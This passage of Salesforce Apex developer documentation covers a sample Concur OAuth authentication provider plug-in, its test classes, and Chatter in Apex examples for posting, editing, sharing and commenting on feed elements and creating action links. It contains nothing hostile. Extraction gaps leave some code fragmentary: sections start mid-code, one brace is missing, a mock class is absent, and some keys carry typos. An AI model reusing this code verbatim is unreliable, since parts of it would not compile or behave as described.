managed by Salesforce. Out of the box, Salesforce supports several external authentication providers for single sign-on, including
Facebook, Google, LinkedIn, and service providers that implement the OpenID Connect protocol. By creating a plug-in with Apex, you
can add your own OAuth-based provider. Your users can then use the SSO credentials they already use for non-Salesforce applications
with your Salesforce orgs.
Before you create your Apex class, you create a custom metadata type record for your authentication provider. For details, see Create a
Custom External Authentication Provider.

Sample Classes
This example implements the Auth.AuthProviderPlugin interface to configure an external authentication provider, which in
this case is called Concur. Build the sample classes and sample test classes in the following order:
1. Concur
2. ConcurTestStaticVar
3. MockHttpResponseGenerator
4. ConcurTestClass
global class Concur implements Auth.AuthProviderPlugin {
public String redirectUrl; // use this URL for the endpoint that the
authentication provider calls back to for configuration

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private String key;

private String secret;
private String authUrl;
// application redirection to the Concur website
for authentication and authorization
private String accessTokenUrl; // uri to get the new access token from
concur using the GET verb
private String customMetadataTypeApiName; // api name for the custom metadata
type created for this auth provider
private String userAPIUrl; // api url to access the user in concur
private String userAPIVersionUrl; // version of the user api url to access
data from concur

global String getCustomMetadataType() {

return customMetadataTypeApiName;
}
global PageReference initiate(Map<string,string> authProviderConfiguration,
String stateToPropagate) {
authUrl = authProviderConfiguration.get('Auth_Url__c');
key = authProviderConfiguration.get('Key__c');
//Here the developer can build up a request of some sort
//Ultimately theyll return a URL where we will redirect the user
String url = authUrl + '?client_id='+ key
+'&scope=USER,EXPRPT,LIST&redirect_uri='+ redirectUrl + '&state=' + stateToPropagate;
return new PageReference(url);
}
global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>
authProviderConfiguration, Auth.AuthProviderCallbackState state ) {
//Here, the developer will get the callback with actual protocol.
//Their responsibility is to return a new object called AuthProviderToken
//This will contain an optional accessToken and refreshToken
key = authProviderConfiguration.get('Key__c');
secret = authProviderConfiguration.get('Secret__c');
accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');

Map<String,String> queryParams = state.queryParameters;

String code = queryParams.get('code');
String sfdcState = queryParams.get('state');
HttpRequest req = new HttpRequest();
String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
'&client_secret=' + secret;
req.setEndpoint(url);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String token = getTokenValueFromResponse(responseBody, 'Token', null);

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return new Auth.AuthProviderTokenResponse('Concur', token, 'refreshToken',

sfdcState);
}

global Auth.UserData getUserInfo(Map<string,string>

authProviderConfiguration, Auth.AuthProviderTokenResponse response) {
//Here the developer is responsible for constructing an Auth.UserData
object
String token = response.oauthToken;
HttpRequest req = new HttpRequest();
userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
userAPIVersionUrl =
authProviderConfiguration.get('API_User_Version_Url__c');
req.setHeader('Authorization', 'OAuth ' + token);
req.setEndpoint(userAPIUrl);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
String fname = getTokenValueFromResponse(responseBody, 'FirstName',
userAPIVersionUrl);
String lname = getTokenValueFromResponse(responseBody, 'LastName',
userAPIVersionUrl);
String flname = fname + ' ' + lname;
String uname = getTokenValueFromResponse(responseBody, 'EmailAddress',
userAPIVersionUrl);
String locale = getTokenValueFromResponse(responseBody, 'LocaleName',
userAPIVersionUrl);
Map<String,String> provMap = new Map<String,String>();
provMap.put('what1', 'noidea1');
provMap.put('what2', 'noidea2');
return new Auth.UserData(id, fname, lname, flname, uname,
'what', locale, null, 'Concur', null, provMap);
}
private String getTokenValueFromResponse(String response, String token,
String ns) {
Dom.Document docx = new Dom.Document();
docx.load(response);
String ret = null;
dom.XmlNode xroot = docx.getrootelement() ;
if(xroot != null){
ret = xroot.getChildElement(token, ns).getText();
}
return ret;
}

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Sample Test Classes

The following example contains test classes for the Concur class.
@IsTest
public class ConcurTestClass {
private static final String OAUTH_TOKEN = 'testToken';
private static final String STATE = 'mocktestState';
private static final String REFRESH_TOKEN = 'refreshToken';
private static final String LOGIN_ID = 'testLoginId';
private static final String USERNAME = 'testUsername';
private static final String FIRST_NAME = 'testFirstName';
private static final String LAST_NAME = 'testLastName';
private static final String EMAIL_ADDRESS = 'testEmailAddress';
private static final String LOCALE_NAME = 'testLocalName';
private static final String FULL_NAME = FIRST_NAME + ' ' + LAST_NAME;
private static final String PROVIDER = 'Concur';
private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
private static final String KEY = 'testKey';
private static final String SECRET = 'testSecret';
private static final String STATE_TO_PROPOGATE = 'testState';
private static final String ACCESS_TOKEN_URL = 'http://www.dummyhost.com/accessTokenUri';
private static final String API_USER_VERSION_URL = 'http://www.dummyhost.com/user/20/1';
private static final String AUTH_URL = 'http://www.dummy.com/authurl';
private static final String API_USER_URL = 'www.concursolutions.com/user/api';
// in the real world scenario , the key and value would be read from the (custom fields
in) custom metadata type record
private static Map<String,String> setupAuthProviderConfig () {
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',API_USER_VERSION_URL);
authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;
}
static testMethod void testInitiateMethod() {
String stateToPropogate = 'mocktestState';
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');

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PageReference expectedUrl = new

PageReference(authProviderConfiguration.get('Auth_Url__c') + '?client_id='+
authProviderConfiguration.get('Key__c')
+'&scope=USER,EXPRPT,LIST&redirect_uri='+
authProviderConfiguration.get('Redirect_Url__c') + '&state=' +
STATE_TO_PROPOGATE);
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
STATE_TO_PROPOGATE);
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}
static testMethod void testHandleCallback() {
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url_c');
Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());
Map<String,String> queryParams = new Map<String,String>();
queryParams.put('code','code');
queryParams.put('state',authProviderConfiguration.get('State_c'));
Auth.AuthProviderCallbackState cbState = new
Auth.AuthProviderCallbackState(null,null,queryParams);
Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);
Auth.AuthProviderTokenResponse expectedAuthProvResponse = new
Auth.AuthProviderTokenResponse('Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);
System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state, actualAuthProvResponse.state);

static testMethod void testGetUserInfo() {

Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());
Auth.AuthProviderTokenResponse response = new
Auth.AuthProviderTokenResponse(PROVIDER, OAUTH_TOKEN ,'sampleOauthSecret', STATE);
Auth.UserData actualUserData = concurCls.getUserInfo(authProviderConfiguration,
response) ;

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Map<String,String> provMap = new Map<String,String>();

provMap.put('key1', 'value1');
provMap.put('key2', 'value2');
Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID, FIRST_NAME,
LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
null, LOCALE_NAME, null, PROVIDER, null, provMap);
System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName, actualUserData.firstName);
System.assertEquals(expectedUserData.lastName, actualUserData.lastName);
System.assertEquals(expectedUserData.fullName, actualUserData.fullName);
System.assertEquals(expectedUserData.email, actualUserData.email);
System.assertEquals(expectedUserData.username, actualUserData.username);
System.assertEquals(expectedUserData.locale, actualUserData.locale);
System.assertEquals(expectedUserData.provider, actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl, actualUserData.siteLoginUrl);
}

// implementing a mock http response generator for concur

Get Feed Elements From a Feed

Example: This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of feed elements
from the context users news feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.News, 'me');

The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures.
A signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature may specify the community ID, the feed type, and the
subject ID. Another signature could have those parameters and an additional parameter to specify the maximum number of
comments to return for each feed element.
Tip: Each signature operates on certain feed types. Use the signatures that operate on the
ConnectApi.FeedType.Record to get group feeds, since a group is a record type.

Get Feed Elements From Another Users Feed

Example: This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of feed elements
from another users feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, '005R0000000HwMA');

You can also get another users record feed:

ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.Record, '005R0000000HwMA');

The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures.
A signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature can specify the community ID, the feed type, and the
subject ID. Another signature could have those parameters and an extra parameter to specify the maximum number of comments
to return for each feed element.

SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId)

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Get Community-Specific Feed Elements from a Feed

Display a user profile feed that contains only feed elements that are scoped to a specific community. Feed elements that have a User or
a Group parent record are scoped to communities. Feed elements whose parents are record types other than User or Group are always
visible in all communities. Other parent record types could be scoped to communities in the future.
Example: This example gets the specified page of feed elements that includes only community-specific feed elements.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, 'me', 3, ConnectApi.FeedDensity.FewerUpdates, null,
null, ConnectApi.FeedSortOrder.LastModifiedDateDesc,
ConnectApi.FeedFilter.CommunityScoped);

SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
filter)
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, updatedSince, filter)
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter)

Post a Feed Element

This example calls postFeedElement(communityId, subjectId, feedElementType, text) to post a string of
text.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementType.FeedItem, 'On vacation this week.');

The second parameter, subjectId is the ID of the parent this feed element is posted to. The value can be the ID of a user, group, or
record, or the string me to indicate the context user.
SEE ALSO:
postFeedElement(communityId, subjectId, feedElementType, text)

Post a Feed Element with a Mention

SEE ALSO:
ConnectApi.MarkupBeginSegmentInput
ConnectApi.MarkupEndSegmentInput

Post a Feed Element with a New File (Binary) Attachment

Important: In version 36.0 and later, you cant post a feed element with a new file in the same call. Upload files to Salesforce first,
and then specify existing files when posting a feed element.

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This example calls the postFeedElement(communityId, feedElement, feedElementFileUpload) method to

post a feed item with a new file (binary) attachment.
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = 'me';
ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';
ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
capabilities.content = contentInput;
input.capabilities = capabilities;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);

Post a Batch of Feed Elements

This trigger calls the postFeedElementBatch(communityId, feedElements) method to bulk post to the feeds of
newly inserted accounts.
trigger postFeedItemToAccount on Account (after insert) {
Account[] accounts = Trigger.new;
// Bulk post to the account feeds.
List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();
for (Account a : accounts) {
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = a.id;
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
body.messageSegments = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Let\'s win the ' + a.name + ' account.';
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);
batchInputs.add(batchInput);
}

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ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}

Think of an action link as a button on a feed item. Like a button, an action link definition includes a label (labelKey). An action link
group definition also includes other properties like a URL (actionUrl), an HTTP method (method), and an optional request body
(requestBody) and HTTP headers (headers).
When a user clicks this action link, an HTTP POST request is made to a Chatter REST API resource, which posts a feed item to Chatter. The
requestBody property holds the request body for the actionUrl resource, including the text of the new feed item. In this
example, the new feed item includes only text, but it could include other capabilities such as a file attachment, a poll, or even action
links.
Just like radio buttons, action links must be nested in a group. Action links within a group share the properties of the group and are
mutually exclusive (you can click on only one action link within a group). Even if you define only one action link, it must be part of an
action link group.
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It saves the action link group ID from that call and associates it with a feed element in a call to
ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement).

To use this code, substitute an OAuth value for your own Salesforce organization. Also, verify that the expirationDate is in the
future. Look for the To Do comments in the code.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
ConnectApi.RequestHeaderInput requestHeaderInput2 = new ConnectApi.RequestHeaderInput();
// Create the action link group definition.
actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;
// To Do: Verify that the date is in the future.
// Action link groups are removed from feed elements on the expiration date.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;
// Create the action link definition.
actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{\"subjectId\": \"me\",\"feedElementType\":
\"FeedItem\",\"body\": {\"messageSegments\": [{\"type\": \"Text\",\"text\": \"This is a
test post created via an API action link.\"}]}}';
actionLinkDefinitionInput.requiresConfirmation = true;
// To Do: Substitute an OAuth value for your Salesforce org.
requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth
00DD00000007WNP!ARsAQCwoeV0zzAV847FTl4zF.85w.EwsPbUgXR4SAjsp';
actionLinkDefinitionInput.headers.add(requestHeaderInput1);

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requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
actionLinkDefinitionInput.headers.add(requestHeaderInput2);
// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Set the properties of the feedItemInput object.
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// Create the text for the post.
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);

// The feedElementCapabilitiesInput object holds the capabilities of the feed item.

// Define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

Note: If the post fails, check the OAuth ID.

SEE ALSO:
createActionLinkGroupDefinition(communityId, actionLinkGroup)
Working with Action Links

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Define an Action Link in a Template and Post with a Feed Element

This example creates the same action link and action link group as the example Define an Action Link and Post with a Feed Element,
but this example instantiates the action link group from a template.

Step 1: Create the Action Link Templates

1. From Setup, enter Action Link Templates in the Quick Find box, then select Action Link Templates.
2. Use these values in a new Action Link Group Template:
Field

Value

Name

Doc Example

Developer Name

Doc_Example

Once per User

3. Use these values in a new Action Link Template:

Field

Value

Action Link Group Template

Doc Example

Action Type

Api

Action URL

/services/data/{!Bindings.ApiVersion}/chatter/feed-elements

User Visibility

Everyone can see

HTTP Request Body

{ "subjectId":"{!Bindings.SubjectId}",
"feedElementType":"FeedItem", "body":{ "messageSegments":[
{ "type":"Text", "text":"{!Bindings.Text}" } ] } }

HTTP Headers

Content-Type: application/json

Position

Label Key

Post

HTTP Method

POST

4. Go back to the Action Link Group Template and select Published. Click Save.

Step 2: Instantiate the Action Link Group, Associate it with a Feed Item, and Post it
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.

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It calls ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to associate the action

link group with a feed item and post it.
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Add binding name-value pairs to a map.
// The names are defined in the action link template(s) associated with the action link
group template.
// Get them from Setup UI or SOQL.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', 'v33.0');
bindingMap.put('Text', 'This post was created by an API action link.');
bindingMap.put('SubjectId', 'me');
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Define the FeedItemInput object to pass to postFeedElement
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

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textSegmentInput.text = 'Click to post a feed item.';

messageBodyInput.messageSegments.add(textSegmentInput);

// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.

// For this feed item, we define an associated actions capability to hold the action link
group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

Edit a Feed Element

This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a feed element.
Feed items are the only type of feed element that can be edited.
String communityId = Network.getNetworkId();
// Get the last feed item created by the current user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited post.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}

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Edit a Question Title and Post

This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a question title
and post.
String communityId = Network.getNetworkId();
// Get the last feed item created by the current user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited question.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}

Like a Feed Element

This example calls likeFeedElement(communityId, feedElementId) to like a feed element.
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D0000000KuGh');

SEE ALSO:
likeFeedElement(communityId, feedElementId)

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Bookmark a Feed Element

This example calls updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser) to bookmark a feed
element.
ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null, '0D5D0000000KuGh', true);

SEE ALSO:
updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)

Share a Feed Element

This example calls shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId) to share a feed item (which is a type of feed element) with a group.
ConnectApi.ChatterFeeds.shareFeedElement(null, '0F9RR0000004CPw',
ConnectApi.FeedElementType.FeedItem, '0D5RR0000004Gxc');

SEE ALSO:
shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)

Share a Feed Element and Add a Comment

This example calls postFeedElement(communityId, feedElement) to share a feed item (which is a type of feed element)
to a group and add a comment.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'I hope you enjoy this post I found in another group.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.originalFeedItemId = '0D5RR0000004Grs';
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput, null);

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Post a Comment
This example calls postCommentToFeedElement(communityId, feedElementId, text) to post a plain text comment to a feed element.
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D0000000KuGh', 'I agree with the proposal.' );

SEE ALSO:
postCommentToFeedElement(communityId, feedElementId, text)

Using Salesforce Features with Apex

Chatter in Apex Examples

ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

textSegmentInput.text = 'I attached this file from Salesforce Files.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';
commentInput.capabilities = commentCapabilitiesInput;
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, null);

SEE ALSO:
postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)

Using Salesforce Features with Apex

Chatter in Apex Examples

commentInput.capabilities = commentCapabilitiesInput;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, binInput);

SEE ALSO:
postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)

Edit a Comment
This example calls updateComment(communityId, commentId, comment) to edit a comment.
String commentId;
String communityId = Network.getNetworkId();
// Get the last feed item created by the current user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
// Return null within anonymous apex.
return null;
}
commentId = commentPage.items[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);
if (isEditable.isEditableByMe == true){
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited comment.';
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;

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ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId,

commentId, commentInput);
}

Follow a Record
This example calls the follow(communityId, userId, subjectId) method to follow a record.
